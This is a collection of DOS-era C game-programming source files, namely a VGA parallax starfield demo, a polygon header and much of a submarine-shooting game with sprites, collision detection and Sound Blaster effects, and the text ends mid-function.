// I N C L U D E S ///////////////////////////////////////////////////////////
#include <dos.h>
#include <bios.h>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <conio.h>
// D E F I N E S /////////////////////////////////////////////////////////////
#define NUM_STARS 75
#define PLANE_1 1
#define PLANE_2 2
#define PLANE_3 3
#define VGA256 0x13
#define TEXT_MODE 0x03
#define ROM_CHAR_SET_SEG 0xF000 // segment of 8x8 ROM character set
#define ROM_CHAR_SET_OFF 0xFA6E // begining offset of 8x8 ROM character set
#define CHAR_WIDTH 8 // size of characters
#define CHAR_HEIGHT 8
#define SCREEN_WIDTH (unsigned int)320 // mode 13h screen dimensions
#define SCREEN_HEIGHT (unsigned int)200
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Blit_Char(int xc,int yc,char c,int color,int trans_flag);
void Blit_String(int x,int y,int color, char *string,int trans_flag);
void Plot_Pixel_Fast(int x,int y,unsigned char color);
void Init_Stars(void);
void Set_Video_Mode(int mode);
void Delay(int clicks);
// S T R U C T U R E S ///////////////////////////////////////////////////////
// data structure for a single star
typedef struct star_typ
{
int x,y; // position of star
int plane; // which plane is star in
int color; // color of star
} star, *star_ptr;
// G L O B A L S /////////////////////////////////////////////////////////////
unsigned char far *video_buffer = (char far *)0xA0000000L; // vram byte ptr
unsigned char far *rom_char_set = (char far *)0xF000FA6EL; // rom characters 8x8
int star_first=1; // flags first time into star field
star stars[NUM_STARS]; // the star field
int velocity_1=2, // the speeds of each plane
velocity_2=4,
velocity_3=6;
// F U N C T I O N S ////////////////////////////////////////////////////////
void Blit_Char(int xc,int yc,char c,int color,int trans_flag)
{
// this function uses the rom 8x8 character set to blit a character on the
// video screen, notice the trick used to extract bits out of each character
// byte that comprises a line
int offset,x,y;
char far *work_char;
unsigned char bit_mask = 0x80;
// compute starting offset in rom character lookup table
work_char = rom_char_set + c * CHAR_HEIGHT;
// compute offset of character in video buffer
offset = (yc << 8) + (yc << 6) + xc;
for (y=0; y<CHAR_HEIGHT; y++)
{
// reset bit mask
bit_mask = 0x80;
for (x=0; x<CHAR_WIDTH; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((*work_char & bit_mask))
video_buffer[offset+x] = color;
else if (!trans_flag) // takes care of transparency
video_buffer[offset+x] = 0;
// shift bit mask
bit_mask = (bit_mask>>1);
} // end for x
// move to next line in video buffer and in rom character data area
offset += SCREEN_WIDTH;
work_char++;
} // end for y
} // end Blit_Char
//////////////////////////////////////////////////////////////////////////////
void Blit_String(int x,int y,int color, char *string,int trans_flag)
{
// this function blits an entire string on the screen with fixed spacing
// between each character. it calls blit_char.
int index;
for (index=0; string[index]!=0; index++)
{
Blit_Char(x+(index<<3),y,string[index],color,trans_flag);
} /* end while */
} /* end Blit_String */
///////////////////////////////////////////////////////////////////////////////
void Plot_Pixel_Fast(int x,int y,unsigned char color)
{
// plots the pixel in the desired color a little quicker using binary shifting
// to accomplish the multiplications
// use the fact that 320*y = 256*y + 64*y = y<<8 + y<<6
video_buffer[((y<<8) + (y<<6)) + x] = color;
} // end Plot_Pixel_Fast
//////////////////////////////////////////////////////////////////////////////
void Init_Stars(void)
{
// this function will initialize the star field
int index;
// for each star choose a position, plane and color
for (index=0; index<NUM_STARS; index++)
{
// initialize each star to a velocity, position and color
stars[index].x = rand()%320;
stars[index].y = rand()%180;
// decide what star plane the star is in
switch(rand()%3)
{
case 0: // plane 1- the farthest star plane
{
// set velocity and color
stars[index].plane = 1;
stars[index].color = 8;
} break;
case 1: // plane 2-The medium distance star plane
{
stars[index].plane = 2;
stars[index].color = 7;
} break;
case 2: // plane 3-The nearest star plane
{
stars[index].plane = 3;
stars[index].color = 15;
} break;
} // end switch
} // end for index
} // end Init_Stars
//////////////////////////////////////////////////////////////////////////////
void Set_Video_Mode(int mode)
{
// use the video interrupt 10h to set the video mode to the sent value
union REGS inregs,outregs;
inregs.h.ah = 0; // set video mode sub-function
inregs.h.al = (unsigned char)mode; // video mode to change to
_int86(0x10, &inregs, &outregs);
} // end Set_Video_Mode
/////////////////////////////////////////////////////////////////////////////
void Delay(int clicks)
{
// this function uses the internal time keeper timer i.e. the one that goes
// at 18.2 clicks/sec to to a time delay. You can find a 32 bit value of
// this timer at 0000:046Ch
unsigned int far *clock = (unsigned int far *)0x0000046CL;
unsigned int now;
// get current time
now = *clock;
// wait till time has gone past current time plus the amount we eanted to
// wait. Note each click is approx. 55 milliseconds.
while(abs(*clock - now) < clicks){}
} // end Delay
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // exit flag
index; // loop index
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// initialize the star field data structure
Init_Stars();
// begin main event loop
while(!done)
{
// test if user is trying to do something
if (kbhit())
{
// what key was pressed ?
switch(getch())
{
case '-': // slow down star field
{
// decrease velocity of each plane
velocity_1-=1;
velocity_2-=2;
velocity_3-=3;
} break;
case '=': // speed up star field
{
// increase velocity of each plane
velocity_1+=1;
velocity_2+=2;
velocity_3+=3;
} break;
case 'q': // user is exiting
{
done=1;
} break;
default:break;
} // end switch
} // end if kbhit
// move the star fields
for (index=0; index<NUM_STARS; index++)
{
// erase the star
Plot_Pixel_Fast(stars[index].x,stars[index].y,0);
// move the star and test for off screen condition
// each star is in a different plane so test which plane star is
// in so that proper velocity may be used
switch(stars[index].plane)
{
case PLANE_1: // the slowest plane
{
stars[index].x+=velocity_1;
} break;
case PLANE_2: // the medium speed plane
{
stars[index].x+=velocity_2;
} break;
case PLANE_3: // the fastest plane (near)
{
stars[index].x+=velocity_3;
} break;
} // end switch
// test if star went off screen
if (stars[index].x > 319 ) // off right edge?
stars[index].x=(stars[index].x-320); // wrap around
else
if (stars[index].x < 0) // off left edge?
stars[index].x = (320+stars[index].x); // wrap around
// draw the star at new position
Plot_Pixel_Fast(stars[index].x,stars[index].y,stars[index].color);
} // end for
// draw the directions again
Blit_String(0,0,1, "Press '+' or '-' to change speed.",1);
Blit_String(88,180,2, "Press 'Q' to exit.",1);
// wait a second so we can see the stars, otherwise it will look like
// warp speed!
Delay(1);
} // end while
// reset back set video mode to 320x200 256 color mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/WGAMELIB/GRAPH14.H
// P R O T O T Y P E S ////////////////////////////////////////////////////////
void Draw_Polygon_DB(polygon_ptr poly);
void Draw_Polygon_Clip_DB(polygon_ptr poly);
void Bline_DB(int xo, int yo, int x1,int y1, unsigned char color);
<file_sep>/day_16/seashark.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
#include "graph9.h" // sound library
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Start_Missile(sprite_ptr who,
int x,
int y,
int xv,
int yv,
int tag);
void Erase_Missiles(void);
void Behind_Missiles(void);
void Draw_Missiles(void);
void Move_Missiles(void);
void Init_Missiles(void);
void Start_Bubble(int x,
int y);
void Erase_Bubbles(void);
void Behind_Bubbles(void);
void Draw_Bubbles(void);
void Move_Bubbles(void);
void Init_Bubbles(void);
void Erase_Subs(void);
void Behind_Subs(void);
void Draw_Subs(void);
void Move_Subs(void);
void Init_Subs(void);
void Start_Sub();
void Start_Explosion(int x,int y,int speed);
void Behind_Explosions(void);
void Erase_Explosions(void);
void Draw_Explosions(void);
void Animate_Explosions(void);
void Draw_Score(void);
void Rotate_Lights(void);
unsigned char Get_Pixel_DB(int x,int y);
int Initialize_Sound_System(void);
void Close_Sound_System(void);
void Play_Sound(int sound);
void Start_Wave(void);
void Erase_End_Wave(void);
void Draw_End_Wave(void);
void Load_Subs(void);
void Load_Player(void);
void Load_Explosions(void);
void Do_Intro(void);
// D E F I N E S /////////////////////////////////////////////////////////////
// constants for player and enemy
#define ENEMY_MISSILE 0 // this is a missile fired by enemy
#define PLAYER_MISSILE 1 // this is a missile fired by player
#define MISS_ALIVE 1 // state of a live missile
#define MISS_DEAD 0 // state of a dead missile
#define NUM_MISSILES 3 // number of missiles that can be fired
// defines for bubbles
#define BUBBLE_CREATED 1 // flags that a bubble has just been created
#define BUBBLE_FLOATING 2 // the state of a floating bubble
#define BUBBLE_DEAD 0 // the bubble is dead (not active)
#define NUM_BUBBLES 50 // maximum bumber of bubbles in system
#define BUBBLE_COLOR_BASE 16 // this is used as the base color to make
// bubbles (off white)
// general explosions
#define NUM_EXPLOSIONS 10 // number of explosions that can run at once
#define EXPLOSION_DEAD 0 // state of a dead explosion
#define EXPLOSION_ALIVE 1 // state of a live explosion
// cannon positions
#define NUM_CANNON_POSITIONS 3 // total possible positions missile cannon has
#define CANNON_WEST 0 // cannon is pointing west
#define CANNON_NORTH 1 // cannon is pointing north
#define CANNON_EAST 2 // cannon is pointing east
// defines for enemies
#define NUM_SUBS 12 // maximum number of subs in game
#define SUB_DEAD 0 // a dead sub
#define SUB_ALIVE 1 // a live sub
#define SUB_RIGHT 0 // sub is moving right
#define SUB_LEFT 1 // sub is moving left
#define SUB_SMALL 0 // type for small sub
#define SUB_LARGE 1 // type for large sub
#define SUB_BOAT 2 // type for speed boat
#define WATER_COLOR 156 // the color register of the background water
// sound system defines
#define NUM_SOUNDS 5 // number of sounds in system
#define SOUND_MISSILE 0 // the players missile
#define SOUND_EXPL 1 // the explosion
#define SOUND_WAVE 2 // end of wave message
#define SOUND_SONAR 3 // the soanr pulse of large sub
#define SOUND_END 4 // game over man!
#define SOUND_DEFAULT_PORT 0x220 // default sound port for sound blaster
#define SOUND_DEFAULT_INT 5 // default interrupt
// M A C R O S //////////////////////////////////////////////////////////////
#define SET_SPRITE_SIZE(w,h) {sprite_width=w; sprite_height=h;}
// S T R U C T U R E S ///////////////////////////////////////////////////////
// typedef for a explosion particle and simple bullet
typedef struct particle_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
int xa; // x acceleration
int ya; // y acceleration
unsigned char color; // the color of the particle
unsigned char back; // the color behind the particle
int state; // the state of the particle
int tag; // if the particle is a missile then who
// does it belong to?
int counter_1; // used for counting
int threshold_1; // the counters threshold
int counter_2;
int threshold_2;
} particle, *particle_ptr;
// typedef for a projectile
typedef struct projectile_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
int state; // the state of the particle
int tag; // if the particle is a missile then who
// does it belong to?
int counter; // use for counting
int threshold; // the counters threshold
int counter_2;
int threshold_2;
sprite object; // the missile sprite
} projectile, *projectile_ptr;
// typedef for water vehicle
typedef struct boat_typ
{
int state; // state of boat
int direction; // direction of motion
int type; // type of water vehicle
int xv; // x velocity
int yv; // y velocity
int x,y; // position of vehicle
sprite object; // the sprite for the boat
} boat, *boat_ptr;
// G L O B A L S ////////////////////////////////////////////////////////////
projectile missiles[NUM_MISSILES]; // the array of missiles in the world
int active_missiles = 0; // tracks number of active missiles
int cannon_pos_x[NUM_CANNON_POSITIONS] = { 2,9,12 };
int cannon_pos_y[NUM_CANNON_POSITIONS] = { 0,-4,0 };
int cannon_vel_x[NUM_CANNON_POSITIONS] = { -3,0,3 };
int cannon_vel_y[NUM_CANNON_POSITIONS] = { -4,-6,-4};
particle bubbles[NUM_BUBBLES]; // the bubbbles in the world
sprite explosions[NUM_EXPLOSIONS]; // the array of explosions
pcx_picture imagery_pcx, // the game imagery
background_pcx, // the backdrop
intro_pcx; // the introduction screen
// the sprites used in the game
sprite player; // the player
sprite icons; // used to hold the ship icons during the score
// phase
boat subs[NUM_SUBS]; // the enemy subs and boats
// some of the global game state variables
long players_score = 0; // the score of the player
int wave_number = 0; // the current game wave
int got_away_this_wave = 0; // the number of ships that got away this wave
int total_got_away = 0; // the total number of ships that got away
int hits_this_wave = 0; // number of ships player hit this wave
int ships_large_hit = 0; // number of large ships hit
int ships_small_hit = 0; // number of small ships hit
int ships_boat_hit = 0; // number of boats ships hit
int ships_this_wave = 0; // the number of ships that will come out this wave
int ships_so_far = 0; // number of ships that have come out so far
int wave_end = 0; // flags if it's the end of the wave
int wave_clock = 0; // used to count number of frames to display
// wave stats to player
int game_over = 0; // flags if the game is over
int game_over_clock = 0; // used to count how many frames to play the
// game over sequence
RGB_color color_red = {255,0,0}; // generic colors used on cannon display
RGB_color color_green = {0,255,0};
// the sound system variables
char far *sound_fx[NUM_SOUNDS]; // pointers to the voc files
unsigned char sound_lengths[NUM_SOUNDS]; // lengths of the voc files
int sound_available = 1; // flags if sound is available
int sound_port = SOUND_DEFAULT_PORT; // default sound port
int sound_int = SOUND_DEFAULT_INT; // default sound interrupt
// F U N C T I O N S //////////////////////////////////////////////////////////
int Initialize_Sound_System(void)
{
// this function loads in the ct-voice.drv driver and the configuration file
// and sets up the sound driver appropriately
FILE *fp;
// test if driver is on disk
if ( (fp=fopen("ct-voice.drv","rb") )==NULL)
{
return(0);
} // end if not file
fclose(fp);
// load up sound configuration file
if ( (fp=fopen("seashark.cfg","r"))==NULL)
{
printf("\nSound configuration file not found...");
printf("\nUsing default values of port 220h and interrupt 5.");
} // end if open sound configuration file
else
{
fscanf(fp,"%d %d",&sound_port, &sound_int);
printf("\nSetting sound system to port %d decimal with interrupt %d.",
sound_port, sound_int);
} // end else
// start up the whole sound system and load everything
Voc_Load_Driver();
Voc_Set_Port(sound_port);
Voc_Set_IRQ(sound_int);
Voc_Init_Driver();
Voc_Get_Version();
Voc_Set_Status_Addr((char far *)&ct_voice_status);
// load in sounds
sound_fx[SOUND_MISSILE ] = Voc_Load_Sound("smissile.voc",&sound_lengths[SOUND_MISSILE ]);
sound_fx[SOUND_EXPL ] = Voc_Load_Sound("sexpl.voc", &sound_lengths[SOUND_EXPL ]);
sound_fx[SOUND_WAVE ] = Voc_Load_Sound("swave.voc", &sound_lengths[SOUND_WAVE ]);
sound_fx[SOUND_SONAR ] = Voc_Load_Sound("ssonar.voc", &sound_lengths[SOUND_SONAR ]);
sound_fx[SOUND_END ] = Voc_Load_Sound("sover.voc", &sound_lengths[SOUND_END]);
// turn on speaker
Voc_Set_Speaker(1);
// success
return(1);
} // end Initialize_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Close_Sound_System(void)
{
// make sure there is sound
if (sound_available)
{
// turn off speaker
Voc_Set_Speaker(0);
// unload sounds
Voc_Unload_Sound(sound_fx[SOUND_MISSILE ]);
Voc_Unload_Sound(sound_fx[SOUND_EXPL ]);
Voc_Unload_Sound(sound_fx[SOUND_WAVE ]);
Voc_Unload_Sound(sound_fx[SOUND_SONAR ]);
Voc_Unload_Sound(sound_fx[SOUND_END ]);
Voc_Terminate_Driver();
} // end if sound
} // end Close_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Play_Sound(int sound)
{
// this function plays a sound by turning off one if there is a sound playing
// and then playing the sent sound
// make sure there is a sound system first
if (sound_available)
{
// stop the current sound (if there is one)
Voc_Stop_Sound();
// play sent sound
Voc_Play_Sound(sound_fx[sound] , sound_lengths[sound]);
} // end if sound available
} // end Play_Sound
///////////////////////////////////////////////////////////////////////////////
unsigned char Get_Pixel_DB(int x,int y)
{
// gets the color value of pixel at (x,y) from the double buffer
return double_buffer[((y<<8) + (y<<6)) + x];
} // end Get_Pixel_DB
///////////////////////////////////////////////////////////////////////////////
void Erase_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
// extract proper parameters
missiles[index].object.x = missiles[index].x;
missiles[index].object.y = missiles[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&missiles[index].object);
} // end if alive
} // end for index
} // end Erase_Missiles
/////////////////////////////////////////////////////////////////////////////
void Behind_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// scans the background color that is behind them so it can be replaced later
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
// extract proper parameters
missiles[index].object.x = missiles[index].x;
missiles[index].object.y = missiles[index].y;
// scan begind the sprite
Behind_Sprite_DB((sprite_ptr)&missiles[index].object);
} // end if alive
} // end for index
} // end Behind_Missiles
/////////////////////////////////////////////////////////////////////////////
void Draw_Missiles(void)
{
// this function indexes through all the missiles and if they are active
// draws the missile as a bright white pixel on the screen
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile active
if (missiles[index].state == MISS_ALIVE)
{
// extract proper parameters
missiles[index].object.x = missiles[index].x;
missiles[index].object.y = missiles[index].y;
// draw the sprite
Draw_Sprite_DB((sprite_ptr)&missiles[index].object);
} // end if alive
} // end for index
} // end Draw_Missiles
/////////////////////////////////////////////////////////////////////////////
void Move_Missiles(void)
{
// this function moves the missiles and does all the collision detection
int index, // used for loops
index_2,
index_3,
miss_x, // position of missile
miss_y,
miss_x_center, // center of missile
miss_y_center,
sub_x, // position of test sub
sub_y,
num_explosions, // temporary var that holds number of explosions
sub_hit=0; // flags if a sub was hit
// test if all missiles are active so that ready light on cannon can be
// illuminated properly
if (active_missiles==NUM_MISSILES)
{
// turn ready light red
Set_Palette_Register(254,(RGB_color_ptr)&color_red);
} // no more missles can be fired
else
{
// turn ready light green
Set_Palette_Register(254,(RGB_color_ptr)&color_green);
} // end else there is a missile ready
// loop thru all missiles and perform a lot of tests
for (index=0; index<NUM_MISSILES; index++)
{
// is missile active
if (missiles[index].state == MISS_ALIVE)
{
// move the missile
miss_x = (missiles[index].x += missiles[index].xv);
miss_y = (missiles[index].y += missiles[index].yv);
// test if missile hit an object
// compute center of missile for ease of computations
miss_x_center = miss_x+4;
miss_y_center = miss_y+4;
// reset sub hit flag
sub_hit = 0;
// for each active sub test missile to see if it has hit it
for (index_2=0; index_2<NUM_SUBS; index_2++)
{
// is this sub alive
if (subs[index_2].state==SUB_ALIVE)
{
// extract upper left hand corner of sub
sub_x = subs[index_2].x;
sub_y = subs[index_2].y;
// do standard bounding box test for collision
if ( (miss_x_center >= sub_x) &&
(miss_x_center <= sub_x+subs[index_2].object.width) &&
(miss_y_center >= sub_y) &&
(miss_y_center <= sub_y+subs[index_2].object.height) )
{
// terminate sub and missile
subs[index_2].state = SUB_DEAD;
hits_this_wave++;
missiles[index].state = MISS_DEAD;
// decrement number of active missiles
active_missiles--;
// start a couple explosions in the area
num_explosions = 1 + rand()%2;
for (index_3=0; index_3<num_explosions; index_3++)
{
Start_Explosion(miss_x+4-30 + rand()%24,miss_y+4-20,1+rand()%2);
} // end for start explosions
// set hit flag
sub_hit = 1;
// increment number of hits this wave
hits_this_wave++;
// update players score based on type of sub
switch(subs[index_2].type)
{
case SUB_SMALL: // hard to hit!
{
players_score += 250;
ships_small_hit++;
} break;
case SUB_LARGE: // easy to hit
{
players_score += 50;
ships_large_hit++;
} break;
case SUB_BOAT: // hard to hit
{
players_score += 300;
ships_boat_hit++;
} break;
default:break;
} // end switch
// missile has hit something so break out of loop
break;
} // end if hit
} // end if alive
} // end for sub test
// don't do any further processing of this missile if there has been a
// sub hit
if (!sub_hit)
{
// test if it's hit the edge of the screen or a wall
if ( (miss_x >= SCREEN_WIDTH) || (miss_x <= 0) ||
(miss_y > (SCREEN_HEIGHT-16)) || ( miss_y <= 16) )
{
// kill missile and start a surface explosion
missiles[index].state = MISS_DEAD;
// decrement number of active missiles
active_missiles--;
Start_Explosion(miss_x+4-16,miss_y+4-16,1);
// process next missile
continue;
} // end if off edge of screen
// start a bubble ?
if (miss_y > 64 )
{
Start_Bubble(miss_x+4, miss_y+4);
} // end if time to start bubble
} // end if sub not hit
} // end if missile alive
} // end for index
} // end Move_Missiles
/////////////////////////////////////////////////////////////////////////////
void Start_Missile(sprite_ptr who,
int x,
int y,
int xv,
int yv,
int tag)
{
// this function scans through the missile array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// scan for a useable missle
for (index=0; index<NUM_MISSILES; index++)
{
// is this missile free?
if (missiles[index].state == MISS_DEAD)
{
// set up fields
missiles[index].state = MISS_ALIVE;
missiles[index].x = x;
missiles[index].y = y;
missiles[index].xv = xv;
missiles[index].yv = yv;
missiles[index].tag = tag;
// make sure proper animation cell is selected
missiles[index].object.curr_frame = player.curr_frame;
// extract proper parameters
missiles[index].object.x = x;
missiles[index].object.y = y;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
Behind_Sprite_DB((sprite_ptr)&missiles[index].object);
// increment number of active missiles
active_missiles++;
// play sound
Play_Sound(SOUND_MISSILE);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Missile
/////////////////////////////////////////////////////////////////////////////
void Init_Missiles(void)
{
// this function just makes sure all the "state" fields of the missiles are
// dead so that we don't get any strays on start up. Remember never assume
// that variables are zeroed on instantiation!
int index;
for (index=0; index<NUM_MISSILES; index++)
missiles[index].state = MISS_DEAD;
} // Init_Missiles
///////////////////////////////////////////////////////////////////////////////
void Erase_Bubbles(void)
{
// this function erases all the bubbles
int index;
// process each bubble
for (index=0; index<NUM_BUBBLES; index++)
{
// is this bubble active
if (bubbles[index].state != BUBBLE_DEAD)
{
Plot_Pixel_Fast_DB(bubbles[index].x,bubbles[index].y,bubbles[index].back);
} // end if alive
} // end for index
} // end Erase_Bubbles
/////////////////////////////////////////////////////////////////////////////
void Behind_Bubbles(void)
{
// this function scans the background under all the bubbles
int index;
// process each bubble
for (index=0; index<NUM_BUBBLES; index++)
{
// is this bubble active
if (bubbles[index].state != BUBBLE_DEAD)
{
bubbles[index].back = Get_Pixel_DB(bubbles[index].x, bubbles[index].y);
} // end if alive
} // end for index
} // end Behind_Bubbles
/////////////////////////////////////////////////////////////////////////////
void Draw_Bubbles(void)
{
// this function draws all the bubbles
int index;
// process each bubble
for (index=0; index<NUM_BUBBLES; index++)
{
// is this bubble active
if (bubbles[index].state != BUBBLE_DEAD)
{
Plot_Pixel_Fast_DB(bubbles[index].x,bubbles[index].y,bubbles[index].color);
} // end if alive
} // end for index
} // end Draw_Bubbles
/////////////////////////////////////////////////////////////////////////////
void Move_Bubbles(void)
{
// this function moves the bubbles
int index, // used for loops
bubb_x, // position of missile
bubb_y;
// loop thru all bubbles
for (index=0; index<NUM_BUBBLES; index++)
{
// is bubble active
if (bubbles[index].state != BUBBLE_DEAD)
{
// move the bubble if time to using y velocity
bubb_x = bubbles[index].x;
if (bubbles[index].counter_1 > bubbles[index].threshold_2)
bubb_y = (bubbles[index].y += bubbles[index].yv);
else
bubb_y = bubbles[index].y;
// test if it's hit the edge of the screen or a wall
if ( (bubb_x >= SCREEN_WIDTH) || (bubb_x <= 0) ||
(bubb_y > (SCREEN_HEIGHT-16)) || ( bubb_y <=0) )
{
bubbles[index].state = BUBBLE_DEAD;
continue;
} // end if off edge of screen
// is it time to pop bubble
if (++bubbles[index].counter_1 > bubbles[index].threshold_1)
{
// kill bubble and process next
bubbles[index].state = BUBBLE_DEAD;
continue;
} // end if timed out
} // end if bubble alive
} // end for index
} // end Move_Bubbles
/////////////////////////////////////////////////////////////////////////////
void Start_Bubble(int x, int y)
{
// this function scans through the bubble array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// scan for a useable bubble
for (index=0; index<NUM_BUBBLES; index++)
{
// is this bubble free?
if (bubbles[index].state == BUBBLE_DEAD)
{
// set up fields
bubbles[index].state = BUBBLE_CREATED;
bubbles[index].x = -2 + x + rand()%4;
bubbles[index].y = -2 + y + rand()%4;
bubbles[index].xv = 0;
bubbles[index].yv = -(rand()%3);
// select a random lifetime before bursting
bubbles[index].counter_1 = 0;
bubbles[index].threshold_1 = 25 + rand()%10;
bubbles[index].threshold_2 = 10 + rand()%5;
// select a random shade of white
bubbles[index].color = BUBBLE_COLOR_BASE+rand()%8;
// scan the background
bubbles[index].back = Get_Pixel_DB(bubbles[index].x,bubbles[index].y);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Bubble
/////////////////////////////////////////////////////////////////////////////
void Init_Bubbles(void)
{
// this function sets the state of all bubbles to dead
int index;
for (index=0; index<NUM_BUBBLES; index++)
bubbles[index].state = BUBBLE_DEAD;
} // Init_Bubbles
////////////////////////////////////////////////////////////////////////////
void Start_Explosion(int x,int y,int speed)
{
// this function stars a generic explosion
int index;
SET_SPRITE_SIZE(32,32);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_DEAD)
{
// set up fields
explosions[index].state = EXPLOSION_ALIVE;
explosions[index].x = x;
explosions[index].y = y;
explosions[index].curr_frame = 0;
explosions[index].anim_speed = speed;
explosions[index].anim_clock = 0;
// scan background to be safe
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
// play sound
Play_Sound(SOUND_EXPL);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Explosion
/////////////////////////////////////////////////////////////////////////////
void Behind_Explosions(void)
{
// this function scans under the explosions
int index;
SET_SPRITE_SIZE(32,32);
// scan for a running explosions
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Behind_Explosions
/////////////////////////////////////////////////////////////////////////////
void Erase_Explosions(void)
{
// this function erases all the current explosions
int index;
SET_SPRITE_SIZE(32,32);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Erase_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Erase_Explosions
/////////////////////////////////////////////////////////////////////////////
void Draw_Explosions(void)
{
// this function draws the explosion
int index;
SET_SPRITE_SIZE(32,32);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// make sure this explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
Draw_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Draw_Explosions
/////////////////////////////////////////////////////////////////////////////
void Animate_Explosions(void)
{
// this function steps the explosion thru the frames of animation
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// test if explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
// test if it's time to change frames
if (++explosions[index].anim_clock == explosions[index].anim_speed)
{
// is the explosion over?
if (++explosions[index].curr_frame == 4)
explosions[index].state = EXPLOSION_DEAD;
// reset animation clock for future
explosions[index].anim_clock = 0;
} // end if time ti change frames
} // end if found a good one
} // end for index
} // end Animate_Explosions
//////////////////////////////////////////////////////////////////////////////
void Init_Explosions(void)
{
// reset all explosions
int index;
for (index=0; index<NUM_EXPLOSIONS; index++)
explosions[index].state = EXPLOSION_DEAD;
} // Init_Explosions
//////////////////////////////////////////////////////////////////////////////
void Init_Subs(void)
{
// set the state of all subs to dead
int index;
for (index=0; index<NUM_SUBS; index++)
subs[index].state = SUB_DEAD;
} // Init_Subs
////////////////////////////////////////////////////////////////////////////
void Behind_Subs(void)
{
// this function scans the background under each sub
int index; // loop variable
// process each sub
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// test if sub is active
if (subs[index].state == SUB_ALIVE)
{
// extract proper sprite size
sprite_width = subs[index].object.width;
sprite_height = subs[index].object.height;
// scan behind sprite
subs[index].object.x = subs[index].x;
subs[index].object.y = subs[index].y;
Behind_Sprite_DB((sprite_ptr)&subs[index].object);
} // end if found a good one
} // end for index
} // end Behind_Subs
////////////////////////////////////////////////////////////////////////////
void Erase_Subs(void)
{
// this function erases all the subs
int index; // loop variable
// process each sub
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// test if sub is active
if (subs[index].state == SUB_ALIVE)
{
// extract proper sprite size
sprite_width = subs[index].object.width;
sprite_height = subs[index].object.height;
subs[index].object.x = subs[index].x;
subs[index].object.y = subs[index].y;
Erase_Sprite_DB((sprite_ptr)&subs[index].object);
} // end if found a good one
} // end for index
} // end Erase_Subs
////////////////////////////////////////////////////////////////////////////
void Draw_Subs(void)
{
int index;
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (subs[index].state == SUB_ALIVE)
{
// extract proper sprite size
sprite_width = subs[index].object.width;
sprite_height = subs[index].object.height;
subs[index].object.x = subs[index].x;
subs[index].object.y = subs[index].y;
Draw_Sprite_DB((sprite_ptr)&subs[index].object);
} // end if found a good one
} // end for index
} // end Draw_Subs
////////////////////////////////////////////////////////////////////////////
void Start_Sub(void)
{
// this function scans through the array of subs and tests if any of them
// can be used i.e. are not active, if one is found then it is started up
int index, // loop index
sub_type, // type of sub small, large, boat
range_start, // where to look for the specific type of sub in array
range_end;
// select type of enemy
sub_type = rand()%3;
// find a free enemy of that type
switch(sub_type)
{
case SUB_SMALL: // select proper scan range for small sub
{
// select scan range
range_start = 0;
range_end = 3;
} break;
case SUB_LARGE: // select proper scan range for large sub
{
// select scan range
range_start = 4;
range_end = 7;
// play sound if it's a big sub
if ((rand()%2)==0)
Play_Sound(SOUND_SONAR);
} break;
case SUB_BOAT: // select proper scan range for boat
{
// select scan range
range_start = 8;
range_end = 11;
} break;
default:break;
} // end switch
// now that we know where in array to look for a boat of the requested type,
// let's find one
for (index=range_start; index<=range_end; index++)
{
// is this one free
if (subs[index].state == SUB_DEAD)
{
// set the water vehicle up
subs[index].state = SUB_ALIVE;
// record that another brave sole was sent out
ships_so_far++;
// set y velocity to zero for now
subs[index].yv = 0;
if (sub_type==SUB_BOAT)
subs[index].y = 16;
else
subs[index].y = 24 + rand()%130;
// select direction of motion
if ((rand()%2)==SUB_LEFT)
{
// set all fields
